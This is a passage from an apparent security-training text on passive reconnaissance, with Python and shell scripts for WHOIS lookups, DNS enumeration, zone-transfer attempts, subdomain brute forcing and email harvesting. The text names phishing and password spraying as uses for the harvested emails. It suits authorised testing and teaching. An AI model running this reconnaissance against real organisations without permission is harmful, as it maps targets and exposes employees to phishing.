- /etc/suricata/rules/*.rules
outputs:
- eve-log:
enabled: yes
filetype: regular
filename: eve.json
types:
- alert
- http
- dns
- tls
EOF
# Download rules
suricata-update
# Run
systemctl enable suricata
systemctl start suricata
# Check alerts
tail -f /var/log/suricata/eve.json | jq '. | select(.event_type=="alert")'Passive reconnaissance is the art of gathering information about a target without directly interacting with their systems. This phase is crucial because it leaves no traces, avoids detection, and often reveals a wealth of information from publicly available sources.
Open Source Intelligence (OSINT) is the foundation of passive reconnaissance. It involves collecting and analyzing information from publicly available sources to build a comprehensive profile of a target organization or individual.
The OSINT process follows a systematic cycle that ensures thorough coverage and organized analysis:
1. Planning and Direction
- Define the scope and objectives of the investigation
- Identify what information is needed and why
- Determine legal and ethical boundaries
- Establish timelines and deliverables
- Identify potential sources of information
2. Collection
- Gather data from multiple sources
- Use automated tools for large-scale collection
- Document all sources and collection methods
- Ensure data is captured in its original form
- Consider both technical and human sources
3. Processing
- Organize collected data into structured formats
- Remove duplicates and irrelevant information
- Convert data into analyzable formats
- Create timelines and relationship maps
- Index information for easy retrieval
4. Analysis
- Identify patterns and relationships
- Correlate data from multiple sources
- Validate information accuracy
- Draw conclusions and identify gaps
- Prioritize findings based on relevance
5. Dissemination
- Prepare reports tailored to audience
- Present findings with supporting evidence
- Include methodologies and sources
- Provide actionable recommendations
- Protect sensitive information
Public Records
- Corporate registrations (Companies House, SEC EDGAR)
- Property records and tax assessments
- Court records and legal filings
- Patent and trademark databases
- Government contracts and procurement
Technical Infrastructure
- DNS records and whois data
- SSL/TLS certificates
- IP address allocations
- Autonomous System Numbers (ASN)
- Technology stacks and versions
Digital Presence
- Websites and web applications
- Social media platforms
- Code repositories (GitHub, GitLab)
- Job postings and career sites
- Online forums and discussion boards
Human Intelligence
- Employee profiles on LinkedIn
- Conference presentations and slides
- Technical blog posts
- Public speaking engagements
- Academic publications
A structured approach to OSINT ensures no stone is left unturned:
# Create an OSINT workspace
mkdir -p ~/osint/{targets,data,reports,tools}
cd ~/osint
# Initialize target investigation
target="example.com"
mkdir -p "targets/$target"/{dns,emails,subdomains,technologies,people,social}OSINT Collection Script:
#!/usr/bin/env python3
# osint_framework.py
import os
import json
import datetime
import requests
from typing import Dict, List, Any
import hashlib
class OSINTInvestigation:
def __init__(self, target_name: str, target_domain: str = None):
self.target_name = target_name
self.target_domain = target_domain or target_name
self.timestamp = datetime.datetime.now().isoformat()
self.data = {
"target": target_name,
"domain": self.target_domain,
"timestamp": self.timestamp,
"sources": {},
"findings": {}
}
self.workspace = f"osint_workspace/{target_name}_{self.timestamp.replace(':', '-')}"
os.makedirs(self.workspace, exist_ok=True)
def add_finding(self, category: str, source: str, data: Any):
"""Add a finding to the investigation"""
if category not in self.data["findings"]:
self.data["findings"][category] = []
finding = {
"source": source,
"timestamp": datetime.datetime.now().isoformat(),
"data": data
}
self.data["findings"][category].append(finding)
# Save to file
category_file = f"{self.workspace}/{category}.json"
with open(category_file, 'a') as f:
f.write(json.dumps(finding) + "\n")
def save_report(self):
"""Save the complete investigation report"""
report_file = f"{self.workspace}/report.json"
with open(report_file, 'w') as f:
json.dump(self.data, f, indent=2)
# Generate HTML report
self.generate_html_report()
def generate_html_report(self):
"""Generate an HTML report from findings"""
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>OSINT Report: {self.target_name}</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 20px; }}
h1 {{ color: #333; }}
h2 {{ color: #666; margin-top: 30px; }}
.finding {{ background: #f5f5f5; padding: 10px; margin: 10px 0; border-radius: 5px; }}
.timestamp {{ color: #999; font-size: 0.9em; }}
pre {{ background: #fff; padding: 5px; overflow-x: auto; }}
</style>
</head>
<body>
<h1>OSINT Investigation Report: {self.target_name}</h1>
<p class="timestamp">Generated: {self.timestamp}</p>
"""
for category, findings in self.data["findings"].items():
html += f"<h2>{category.upper()}</h2>"
for finding in findings:
html += f"""
<div class="finding">
<p class="timestamp">Source: {finding['source']} | {finding['timestamp']}</p>
<pre>{json.dumps(finding['data'], indent=2)}</pre>
</div>
"""
html += """
</body>
</html>
"""
with open(f"{self.workspace}/report.html", 'w') as f:
f.write(html)
print(f"HTML report saved to {self.workspace}/report.html")
def search_github(self, query: str):
"""Search GitHub for target-related code"""
print(f"Searching GitHub for: {query}")
# Implementation would use GitHub API
results = []
self.add_finding("github", "GitHub API", results)
return results
def search_linkedin(self, company: str):
"""Search LinkedIn for employees"""
print(f"Searching LinkedIn for: {company}")
# Implementation would use LinkedIn scraping (with caution)
results = []
self.add_finding("linkedin", "LinkedIn", results)
return results
def get_certificate_transparency(self, domain: str):
"""Query certificate transparency logs"""
print(f"Getting certificates for: {domain}")
try:
url = f"https://crt.sh/?q=%.{domain}&output=json"
response = requests.get(url)
if response.status_code == 200:
certs = response.json()
self.add_finding("certificates", "crt.sh", certs)
return certs
except Exception as e:
print(f"Error: {e}")
return []
# Example usage
if __name__ == "__main__":
inv = OSINTInvestigation("Example Corp", "example.com")
inv.get_certificate_transparency("example.com")
inv.save_report()WHOIS provides registration information for domain names and IP addresses, often revealing organizational details, contact information, and technical infrastructure.
WHOIS Record Components:
# Basic WHOIS query
whois example.com
# Key information extracted:
Domain Name: EXAMPLE.COM
Registry Domain ID: 2336799_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.iana.org
Registrar URL: http://res-dom.iana.org
Updated Date: 2023-08-14T07:01:29Z
Creation Date: 1995-08-14T04:00:00Z
Registry Expiry Date: 2024-08-13T04:00:00Z
Registrar: RESERVED-Internet Assigned Numbers Authority
Registrar IANA ID: 376
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Domain Status: clientUpdateProhibited
Name Server: A.IANA-SERVERS.NET
Name Server: B.IANA-SERVERS.NETWHOIS Data Categories:
- Registrant: The domain owner
- Administrative Contact: Person responsible for domain management
- Technical Contact: Person handling technical issues
- Billing Contact: Person handling payments
- Registrar: Company where domain was registered
- Name Servers: DNS servers for the domain
- Dates: Creation, update, and expiration
- Status Codes: Domain status flags
Automated WHOIS Collection:
#!/usr/bin/env python3
# whois_enum.py
import whois
import socket
import json
import sys
from datetime import datetime
class WHOISEnumerator:
def __init__(self):
self.results = {}
def get_domain_whois(self, domain):
"""Get WHOIS information for a domain"""
try:
w = whois.whois(domain)
return {
'domain_name': w.domain_name,
'registrar': w.registrar,
'whois_server': w.whois_server,
'creation_date': str(w.creation_date) if w.creation_date else None,
'expiration_date': str(w.expiration_date) if w.expiration_date else None,
'updated_date': str(w.updated_date) if w.updated_date else None,
'name_servers': w.name_servers,
'status': w.status,
'emails': w.emails,
'org': w.org,
'address': w.address,
'city': w.city,
'state': w.state,
'country': w.country
}
except Exception as e:
print(f"Error getting WHOIS for {domain}: {e}")
return None
def get_ip_whois(self, ip):
"""Get WHOIS information for an IP address"""
try:
# Use whois library for IPs or external service
# This is a simplified version
return socket.gethostbyaddr(ip)[0]
except:
return None
def find_related_domains(self, email):
"""Find domains registered with same email"""
# This would typically use reverse WHOIS services
# Example using viewdns.info or similar (API key required)
print(f"Searching for domains with email: {email}")
return []
def historical_whois(self, domain):
"""Get historical WHOIS records"""
# Services like whoisology.com or securitytrails.com provide historical data
print(f"Getting historical WHOIS for: {domain}")
return {}
def parse_whois_text(self, whois_text):
"""Parse raw WHOIS text output"""
data = {}
lines = whois_text.split('\n')
for line in lines:
if ':' in line:
key, value = line.split(':', 1)
data[key.strip()] = value.strip()
return data
def enumerate_domain(self, domain):
"""Complete WHOIS enumeration for a domain"""
print(f"\n[+] Enumerating WHOIS for: {domain}")
# Get current WHOIS
whois_data = self.get_domain_whois(domain)
if whois_data:
self.results[domain] = whois_data
# Extract contacts for further investigation
emails = whois_data.get('emails', [])
if emails:
print(f"\n[!] Found emails: {emails}")
for email in emails:
related = self.find_related_domains(email)
if related:
print(f" Related domains for {email}: {related}")
# Extract name servers
ns = whois_data.get('name_servers', [])
if ns:
print(f"\n[!] Name servers: {ns}")
# Resolve name servers to IPs
for server in ns[:5]: # Limit to first 5
try:
ip = socket.gethostbyname(server)
print(f" {server} -> {ip}")
except:
pass
# Extract dates for timeline
created = whois_data.get('creation_date')
expires = whois_data.get('expiration_date')
if created:
print(f"\n[!] Domain created: {created}")
if expires:
print(f" Expires: {expires}")
def save_results(self, filename):
"""Save results to file"""
with open(filename, 'w') as f:
json.dump(self.results, f, indent=2, default=str)
print(f"\n[+] Results saved to {filename}")
# Command-line interface
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: whois_enum.py <domain> [output_file]")
sys.exit(1)
domain = sys.argv[1]
output = sys.argv[2] if len(sys.argv) > 2 else f"{domain}_whois.json"
enumerator = WHOISEnumerator()
enumerator.enumerate_domain(domain)
enumerator.save_results(output)WHOIS Automation Script:
#!/bin/bash
# whois_auto.sh
domain="$1"
output_dir="whois_results_$(date +%Y%m%d)"
mkdir -p "$output_dir"
# Function to get and parse WHOIS
get_whois() {
local target="$1"
local output="$output_dir/${target}.txt"
echo "[*] Getting WHOIS for $target"
whois "$target" > "$output"
# Extract key information
echo "=== WHOIS Summary for $target ===" > "$output_dir/${target}_summary.txt"
grep -E "Domain Name:|Registrar:|Creation Date:|Expiry Date:|Name Server:|Registrant|Admin|Tech" "$output" | \
sort -u >> "$output_dir/${target}_summary.txt"
# Extract email addresses
grep -E -o '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b' "$output" | \
sort -u > "$output_dir/${target}_emails.txt"
# Extract IP addresses
grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}' "$output" | \
sort -u > "$output_dir/${target}_ips.txt"
echo "[+] WHOIS data saved to $output_dir"
}
# Main execution
if [ -z "$domain" ]; then
echo "Usage: $0 <domain>"
exit 1
fi
get_whois "$domain"
# Try different WHOIS servers for more data
servers=("whois.verisign-grs.com" "whois.crsnic.net" "whois.internic.net")
for server in "${servers[@]}"; do
echo "[*] Trying WHOIS server: $server"
whois -h "$server" "$domain" >> "$output_dir/${domain}_${server}.txt" 2>/dev/null
done
echo "[+] WHOIS enumeration complete. Results in $output_dir"WHOIS Privacy Services:
- Many domains use WHOIS privacy protection
- Contact information is replaced with proxy details
- Still reveals registrar and name servers
- Historical WHOIS may show original data
Detecting Protected WHOIS:
# Identify privacy-protected domains
whois example.com | grep -i "privacy\|protect\|REDACTED\|PRIVACY"
# Common privacy providers
whois example.com | grep -E "Domains By Proxy|WhoisGuard|PrivacyProtect"Working Around Privacy:
- Check historical WHOIS records
- Look for patterns in name servers
- Analyze SSL certificate transparency logs
- Examine DNS records for clues
- Search for related domains with exposed WHOIS
DNS enumeration reveals the infrastructure behind a domain, including subdomains, mail servers, and other services.
Essential DNS Records:
# A Records - IPv4 addresses
dig example.com A +short
# AAAA Records - IPv6 addresses
dig example.com AAAA +short
# MX Records - Mail servers
dig example.com MX +short
# NS Records - Name servers
dig example.com NS +short
# TXT Records - Text information (SPF, DKIM, verification)
dig example.com TXT +short
# SOA Record - Start of Authority
dig example.com SOA +short
# CNAME Records - Aliases
dig www.example.com CNAME +short
# SRV Records - Service locations
dig _sip._tcp.example.com SRV +short
# PTR Records - Reverse DNS
dig -x 192.168.1.1 +shortComprehensive DNS Enumeration:
#!/usr/bin/env python3
# dns_enum.py
import dns.resolver
import dns.zone
import dns.query
import dns.reversename
import socket
import sys
from concurrent.futures import ThreadPoolExecutor
import json
class DNSEnumerator:
def __init__(self, domain, dns_server='8.8.8.8'):
self.domain = domain
self.resolver = dns.resolver.Resolver()
self.resolver.nameservers = [dns_server]
self.resolver.timeout = 2
self.resolver.lifetime = 2
self.results = {
'domain': domain,
'records': {},
'subdomains': [],
'zone_transfer': None,
'reverse_dns': []
}
def query_record(self, record_type):
"""Query specific DNS record type"""
try:
answers = self.resolver.resolve(self.domain, record_type)
return [str(r) for r in answers]
except dns.resolver.NoAnswer:
return []
except dns.resolver.NXDOMAIN:
return []
except Exception as e:
print(f"Error querying {record_type}: {e}")
return []
def enumerate_all_records(self):
"""Enumerate all common DNS record types"""
record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'PTR', 'SRV', 'CAA']
print(f"\n[+] Enumerating DNS records for {self.domain}")
for rtype in record_types:
records = self.query_record(rtype)
if records:
self.results['records'][rtype] = records
print(f" {rtype}: {', '.join(records[:3])}" +
(f" and {len(records)-3} more" if len(records) > 3 else ""))
def brute_force_subdomains(self, wordlist_file, threads=20):
"""Brute force subdomain discovery"""
print(f"\n[+] Brute-forcing subdomains (using {wordlist_file})")
try:
with open(wordlist_file, 'r') as f:
subdomains = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"Wordlist not found: {wordlist_file}")
return
found = []
def check_subdomain(sub):
try:
target = f"{sub}.{self.domain}"
answers = self.resolver.resolve(target, 'A')
if answers:
ips = [str(a) for a in answers]
print(f" Found: {target} -> {', '.join(ips)}")
return {'subdomain': target, 'ips': ips}
except:
pass
return None
with ThreadPoolExecutor(max_workers=threads) as executor:
results = executor.map(check_subdomain, subdomains)
found = [r for r in results if r]
self.results['subdomains'] = found
print(f"\n[+] Found {len(found)} subdomains")
return found
def attempt_zone_transfer(self):
"""Attempt DNS zone transfer"""
print(f"\n[+] Attempting zone transfer for {self.domain}")
# Get NS records
ns_records = self.query_record('NS')
for ns in ns_records:
ns = ns.rstrip('.')
print(f" Trying nameserver: {ns}")
try:
# Resolve NS to IP
ns_ip = socket.gethostbyname(ns)
# Attempt zone transfer
zone = dns.zone.from_xfr(dns.query.xfr(ns_ip, self.domain, timeout=5))
if zone:
records = []
for name, node in zone.nodes.items():
rdatasets = node.rdatasets
for rdataset in rdatasets:
for rdata in rdataset:
records.append({
'name': str(name),
'type': dns.rdatatype.to_text(rdataset.rdtype),
'data': str(rdata)
})
self.results['zone_transfer'] = {
'nameserver': ns,
'records': records
}
print(f" [!] Zone transfer successful from {ns}!")
print(f" Found {len(records)} records")
return True
except Exception as e:
print(f" Failed: {e}")
print(" No zone transfer possible")
return False
def reverse_lookup(self, subnet):
"""Perform reverse DNS lookup on a subnet"""
print(f"\n[+] Reverse DNS lookup on {subnet}")
from ipaddress import ip_network
try:
network = ip_network(subnet)
found = []
for ip in network.hosts():
try:
rev_name = dns.reversename.from_address(str(ip))
answers = self.resolver.resolve(rev_name, 'PTR')
for answer in answers:
ptr = str(answer)
found.append({'ip': str(ip), 'ptr': ptr})
print(f" {ip} -> {ptr}")
except:
pass
self.results['reverse_dns'] = found
print(f"\n[+] Found {len(found)} PTR records")
return found
except Exception as e:
print(f"Error: {e}")
return []
def get_spf_records(self):
"""Parse SPF records for additional information"""
txt_records = self.query_record('TXT')
spf_info = []
for txt in txt_records:
if txt.startswith('v=spf1'):
print(f"\n[+] SPF Record: {txt}")
# Parse SPF mechanisms
mechanisms = txt.split()
for mech in mechanisms:
if mech.startswith('include:'):
include_domain = mech.split(':')[1]
spf_info.append({'type': 'include', 'value': include_domain})
print(f" Includes: {include_domain}")
elif mech.startswith('ip4:'):
ip = mech.split(':')[1]
spf_info.append({'type': 'ip4', 'value': ip})
print(f" Allows IP: {ip}")
elif mech.startswith('ip6:'):
ip = mech.split(':')[1]
spf_info.append({'type': 'ip6', 'value': ip})
print(f" Allows IPv6: {ip}")
return spf_info
def get_dmarc_record(self):
"""Check DMARC policy"""
try:
dmarc_domain = f"_dmarc.{self.domain}"
answers = self.resolver.resolve(dmarc_domain, 'TXT')
for answer in answers:
dmarc = str(answer)
if dmarc.startswith('v=DMARC1'):
print(f"\n[+] DMARC Record: {dmarc}")
# Parse DMARC tags
tags = dmarc.split(';')
dmarc_info = {}
for tag in tags:
if '=' in tag:
key, value = tag.strip().split('=', 1)
dmarc_info[key] = value
return dmarc_info
except:
print("\n[-] No DMARC record found")
return None
def get_caa_record(self):
"""Check CAA (Certificate Authority Authorization)"""
caa_records = self.query_record('CAA')
if caa_records:
print(f"\n[+] CAA Records: {caa_records}")
return caa_records
return []
def save_results(self, filename):
"""Save results to JSON file"""
with open(filename, 'w') as f:
json.dump(self.results, f, indent=2, default=str)
print(f"\n[+] Results saved to {filename}")
def generate_report(self):
"""Generate a summary report"""
print("\n" + "="*60)
print(f"DNS ENUMERATION REPORT: {self.domain}")
print("="*60)
# Records summary
print("\n[ DNS RECORDS ]")
for rtype, records in self.results['records'].items():
print(f" {rtype}: {len(records)} records")
# Subdomains
if self.results['subdomains']:
print(f"\n[ SUBDOMAINS ] ({len(self.results['subdomains'])} found)")
for sub in self.results['subdomains'][:10]: # Show first 10
print(f" {sub['subdomain']} -> {', '.join(sub['ips'])}")
if len(self.results['subdomains']) > 10:
print(f" ... and {len(self.results['subdomains'])-10} more")
# Zone transfer
if self.results['zone_transfer']:
print(f"\n[ ZONE TRANSFER ] Successful from {self.results['zone_transfer']['nameserver']}")
print(f" Records: {len(self.results['zone_transfer']['records'])}")
print("\n" + "="*60)
# Command-line interface
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: dns_enum.py <domain> [wordlist]")
print("Example: dns_enum.py example.com /usr/share/wordlists/dns/subdomains.txt")
sys.exit(1)
domain = sys.argv[1]
wordlist = sys.argv[2] if len(sys.argv) > 2 else None
enumerator = DNSEnumerator(domain)
# Run enumeration
enumerator.enumerate_all_records()
enumerator.get_spf_records()
enumerator.get_dmarc_record()
enumerator.get_caa_record()
if wordlist:
enumerator.brute_force_subdomains(wordlist)
enumerator.attempt_zone_transfer()
# Generate report and save
enumerator.generate_report()
enumerator.save_results(f"{domain}_dns_enum.json")DNSRecon:
# Install dnsrecon
apt install dnsrecon
# Basic enumeration
dnsrecon -d example.com
# Comprehensive scan
dnsrecon -d example.com -t std,brt,bing,yahoo,google,tld
# Zone transfer attempt
dnsrecon -d example.com -t axfr
# Reverse lookup
dnsrecon -r 192.168.1.0/24
# Save to file
dnsrecon -d example.com --json output.json --xml output.xmlDNSEnum:
# Install dnsenum
apt install dnsenum
# Basic enumeration
dnsenum example.com
# With subdomain brute force
dnsenum --enum -f /usr/share/wordlists/dns/subdomains.txt example.com
# With whois and reverse lookup
dnsenum --enum -f wordlist.txt -r example.comFierce:
# Install fierce
apt install fierce
# Basic scan
fierce --domain example.com
# With DNS server
fierce --domain example.com --dns-servers 8.8.8.8
# Range scan
fierce --domain example.com --range 192.168.1.0/24
# Subdomain brute force
fierce --domain example.com --subdomains wordlist.txtEmail harvesting collects email addresses associated with a target, which can be used for phishing, password spraying, or social engineering.
theHarvester:
# Install theHarvester
apt install theHarvester
# Basic search
theHarvester -d example.com -b google
# Multiple sources
theHarvester -d example.com -b google,linkedin,bing,yahoo
# Limit results
theHarvester -d example.com -b all -l 500
# Save output
theHarvester -d example.com -b all -f results.htmlCustom Email Harvester:
#!/usr/bin/env python3
# email_harvester.py
import re
import requests
import sys
import time
from urllib.parse import urlparse, urljoin
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import json
class EmailHarvester:
def __init__(self, target):
self.target = target
self.emails = set()
self.urls_visited = set()
self.results = {
'target': target,
'emails': [],
'sources': {}
}
def extract_emails_from_text(self, text, source):
"""Extract email addresses from text"""
# Basic email regex
email_pattern = r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'
found = re.findall(email_pattern, text)
# Filter emails matching the target domain or collect all
for email in found:
# Basic validation
if self.is_valid_email(email):
self.emails.add(email)
if source not in self.results['sources']:
self.results['sources'][source] = []
if email not in self.results['sources'][source]:
self.results['sources'][source].append(email)
return found
def is_valid_email(self, email):
"""Basic email validation"""
# Remove common false positives
if email.endswith('.png') or email.endswith('.jpg') or email.endswith('.css'):
return False
if 'example.com' in email:
return False
if len(email) > 100: # Unreasonably long
return False
return True
def search_google(self, query, pages=5):
"""Search Google for emails (requires careful rate limiting)"""
print(f"[*] Searching Google for: {query}")
# This is a simplified version - in practice, use Google Custom Search API
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}
for page in range(pages):
try:
start = page * 10
url = f"https://www.google.com/search?q={query}&start={start}"
response = requests.get(url, headers=headers, timeout=5)
if response.status_code == 200:
self.extract_emails_from_text(response.text, 'google')
time.sleep(2) # Be respectful
except Exception as e:
print(f" Error: {e}")
def crawl_website(self, url, max_pages=50):
"""Crawl a website and extract emails"""
if len(self.urls_visited) >= max_pages:
return
if url in self.urls_visited:
return
self.urls_visited.add(url)
print(f"[*] Crawling: {url}")
try:
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}
response = requests.get(url, headers=headers, timeout=5)
if response.status_code == 200:
# Extract emails from page
self.extract_emails_from_text(response.text, f'crawl:{url}')
# Parse HTML and find links
soup = BeautifulSoup(response.text, 'html.parser')
for link in soup.find_all('a', href=True):
href = link['href']
full_url = urljoin(url, href)
# Stay on same domain
if self.target in full_url and full_url not in self.urls_visited:
self.crawl_website(full_url, max_pages)
except Exception as e:
print(f" Error crawling {url}: {e}")
def query_pgp_servers(self, domain):
"""Search PGP key servers for emails"""
print(f"[*] Searching PGP servers for: {domain}")
servers = [
'https://keyserver.ubuntu.com',
'https://pgp.mit.edu'
]
for server in servers:
try:
url = f"{server}/pks/lookup?search={domain}&op=index&fingerprint=on"
response = requests.get(url, timeout=5)
if response.status_code == 200:
self.extract_emails_from_text(response.text, f'pgp:{server}')
except Exception as e:
print(f" Error with {server}: {e}")
def query_github(self, domain):
"""Search GitHub for emails"""
print(f"[*] Searching GitHub for: {domain}")
try:
# GitHub API search
url = f"https://api.github.com/search/code?q={domain}+extension:txt+email"
headers = {'Accept': 'application/vnd.github.v3+json'}
# Note: GitHub API requires authentication for many requests
response = requests.get(url, headers=headers, timeout=5)
if response.status_code == 200:
data = response.json()
for item in data.get('items', []):
# Fetch file content
file_url = item['html_url'].replace('github.com', 'raw.githubusercontent.com').replace('/blob/', '/')
file_response = requests.get(file_url, timeout=5)
if file_response.status_code == 200:
self.extract_emails_from_text(file_response.text, f'github:{item["repository"]["full_name"]}')
except Exception as e:
print(f" Error: {e}")
def query_common_sources(self):
"""Query common email sources"""
# Common company email formats
formats = [
f"*@{self.target}",
f"*@*.{self.target}",
f"*@mail.{self.target}"
]
# Search engines
for fmt in formats:
self.search_google(f'"{fmt}"', pages=3)
# PGP servers
self.query_pgp_servers(self.target)
# GitHub
self.query_github(self.target)
def check_email_breaches(self, email):
"""Check if email appears in known breaches (requires HaveIBeenPwned API)"""
# This would use HIBP API with proper authentication
pass
def generate_report(self):
"""Generate email harvest report"""
print("\n" + "="*60)
print(f"EMAIL HARVEST REPORT: {self.target}")
print("="*60)
emails_list = sorted(list(self.emails))
print(f"\n[+] Total unique emails found: {len(emails_list)}")
# Group by domain
domains = {}
for email in emails_list:
domain = email.split('@')[1]
if domain not in domains:
domains[domain] = []
domains[domain].append(email)
print("\n[+] Emails by domain:")
for domain, domain_emails in domains.items():
print(f" {domain}: {len(domain_emails)} emails")
print("\n[+] All emails (first 50):")
for email in emails_list[:50]:
sources = []
for src, src_emails in self.results['sources'].items():
if email in src_emails:
sources.append(src)
print(f" {email} [{', '.join(sources[:2])}]")
if len(emails_list) > 50:
print(f" ... and {len(emails_list)-50} more")
print("\n[+] Sources summary:")
for source, emails in self.results['sources'].items():
print(f" {source}: {len(emails)} emails")
print("\n" + "="*60)
def save_results(self, filename):
"""Save results to file"""
self.results['emails'] = sorted(list(self.emails))
self.results['total'] = len(self.emails)
self.results['urls_visited'] = list(self.urls_visited)
with open(filename, 'w') as f:
json.dump(self.results, f, indent=2)
# Also save plain text list
txt_file = filename.replace('.json', '.txt')
with open(txt_file, 'w') as f:
for email in sorted(list(self.emails)):
f.write(f"{email}\n")
print(f"\n[+] Results saved to {filename} and {txt_file}")
def harvest(self):
"""Run all harvesting techniques"""
print(f"[+] Starting email harvest for {self.target}")
# Query common sources
self.query_common_sources()
# Crawl website if it exists
try:
if not self.target.startswith('http'):
website = f"https://{self.target}"
else:
website = self.target
self.crawl_website(website, max_pages=30)
except Exception as e:
print(f" Error crawling website: {e}")
self.generate_report()
# Command-line interface
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: email_harvester.py <domain> [output_file]")
print("Example: email_harvester.py example.com results.json")
sys.exit(1)
target = sys.argv[1]
output = sys.argv[2] if len(sys.argv) > 2 else f"{target}_emails.json"
harvester = EmailHarvester(target)
harvester.harvest()
harvester.save_results(output)Hunter.io Integration:
# hunter_io_api.py
import requests
import sys
def hunter_search(domain, api_key):
"""Search Hunter.io for emails"""
url = f"https://api.hunter.io/v2/domain-search"
params = {
'domain': domain,
'api_key': api_key
}
try:
response = requests.get(url, params=params)
if response.status_code == 200:
data = response.json()
emails = data.get('data', {}).get('emails', [])
print(f"\n[+] Hunter.io found {len(emails)} emails:")
for email in emails:
print(f" {email['value']} - {email.get('position', 'N/A')}")
return emails
except Exception as e:
print(f"Error: {e}")
return []
# Usage would require API keyEmail Pattern Analysis:
# email_patterns.py
def analyze_email_patterns(emails):
"""Analyze email naming patterns"""
patterns = {
'first.last': [],
'first_last': [],
'first.last_initial': [],
'firstinitial.last': [],
'first': [],
'other': []
}
for email in emails:
if '@' not in email:
continue
local = email.split('@')[0]
if '.' in local and len(local.split('.')) == 2:
first, last = local.split('.')
if len(first) > 1 and len(last) > 1:
patterns['first.last'].append(email)
elif '_' in local and len(local.split('_')) == 2:
patterns['first_last'].append(email)
elif '.' in local and len(local.split('.')) == 2 and len(local.split('.')[0]) == 1:
patterns['firstinitial.last'].append(email)
else:
patterns['other'].append(email)
return patternsSubdomains reveal additional attack surfaces and often host development, staging, or forgotten applications.
Certificate Transparency Logs:
#!/usr/bin/env python3
# ct_logs.py
import requests
import json
import sys
def query_crtsh(domain):
"""Query crt.sh Certificate Transparency logs"""
url = f"https://crt.sh/?q=%.{domain}&output=json"
try:
response = requests.get(url, timeout=10)
if response.status_code == 200:
data = response.json()
subdomains = set()
for entry in data:
name = entry.get('name_value', '')
if name:
# Handle multiple names in one entry
for n in name.split('\n'):
n = n.strip()
if n.endswith(f".{domain}") or n == domain:
subdomains.add(n.lower())
return sorted(subdomains)
except Exception as e:
print(f"Error querying crt.sh: {e}")
return []
def query_certspotter(domain):
"""Query CertSpotter API"""
url = f"https://api.certspotter.com/v1/issuances"
params = {
'domain': domain,
'include_subdomains': 'true',
'expand': 'dns_names'
}
try:
response = requests.get(url, params=params)
if response.status_code == 200:
data = response.json()
subdomains = set()
for cert in data:
for name in cert.get('dns_names', []):
if name.endswith(f".{domain}"):
subdomains.add(name.lower())
return sorted(subdomains)
except Exception as e:
print(f"Error querying CertSpotter: {e}")
return []
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: ct_logs.py <domain>")
sys.exit(1)
domain = sys.argv[1]
print(f"[+] Querying Certificate Transparency logs for {domain}")
crtsh = query_crtsh(domain)
print(f"\ncrt.sh found {len(crtsh)} subdomains")
certspotter = query_certspotter(domain)
print(f"CertSpotter found {len(certspotter)} subdomains")
all_subs = sorted(set(crtsh + certspotter))
print(f"\nTotal unique subdomains: {len(all_subs)}")
if all_subs:
print("\nSample subdomains:")
for sub in all_subs[:20]:
print(f" {sub}")DNS Brute Forcing:
#!/usr/bin/env python3
# subdomain_brute.py
import dns.resolver
import sys
import json
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
class SubdomainBruteforcer:
def __init__(self, domain, threads=50, dns_server='8.8.8.8'):
self.domain = domain
self.threads = threads
self.resolver = dns.resolver.Resolver()
self.resolver.nameservers = [dns_server]
self.resolver.timeout = 2
self.resolver.lifetime = 2
self.found = []
def check_subdomain(self, sub):
"""Check if subdomain resolves"""
target = f"{sub}.{self.domain}"
try:
answers = self.resolver.resolve(target, 'A')
if answers:
ips = [str(a) for a in answers]
return {'subdomain': target, 'ips': ips, 'type': 'A'}
except dns.resolver.NXDOMAIN:
pass
except dns.resolver.NoAnswer:
# Try CNAME
try:
answers = self.resolver.resolve(target, 'CNAME')
if answers:
cname = str(answers[0])
return {'subdomain': target, 'cname': cname, 'type': 'CNAME'}
except:
pass
except Exception as e:
pass
return None
def brute_force(self, wordlist_file, output_file=None):
"""Run brute force with wordlist"""
print(f"[+] Starting subdomain brute force for {self.domain}")
print(f"[+] Using {self.threads} threads")
try:
with open(wordlist_file, 'r') as f:
subdomains = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"Wordlist not found: {wordlist_file}")
return []
total = len(subdomains)
print(f"[+] Loaded {total} subdomains to check")
start_time = time.time()
with ThreadPoolExecutor(max_workers=self.threads) as executor:
future_to_sub = {executor.submit(self.check_subdomain, sub): sub for sub in subdomains}
for i, future in enumerate(as_completed(future_to_sub), 1):
result = future.result()
if result:
self.found.append(result)
print(f" Found: {result['subdomain']}")
if i % 1000 == 0:
elapsed = time.time() - start_time
rate = i / elapsed
print(f"[+] Progress: {i}/{total} ({i/total*100:.1f}%) - {rate:.1f} queries/sec")
elapsed = time.time() - start_time
print(f"\n[+] Brute force completed in {elapsed:.1f} seconds")
print(f"[+] Found {len(self.found)} subdomains")
if output_file:
self.save_results(output_file)
return self.found
def save_results(self, filename):
"""Save results to file"""
with open(filename, 'w') as f:
json.dump({
'domain': self.domain,
'found': self.found,
'count': len(self.found)
}, f, indent=2)
# Save plain text list
txt_file = filename.replace('.json', '.txt')
with open(txt_file, 'w') as f:
for item in self.found:
f.write(f"{item['subdomain']}\n")
print(f"[+] Results saved to {filename} and {txt_file}")
def resolve_all(self):
"""Resolve all found subdomains to IPs"""
for item in self.found:
if 'ips' not in item:
try:
answers = self.resolver.resolve(item['subdomain'], 'A')
item['ips'] = [str(a) for a in answers]
except:
item['ips'] = []
if __name__ == "__main__":
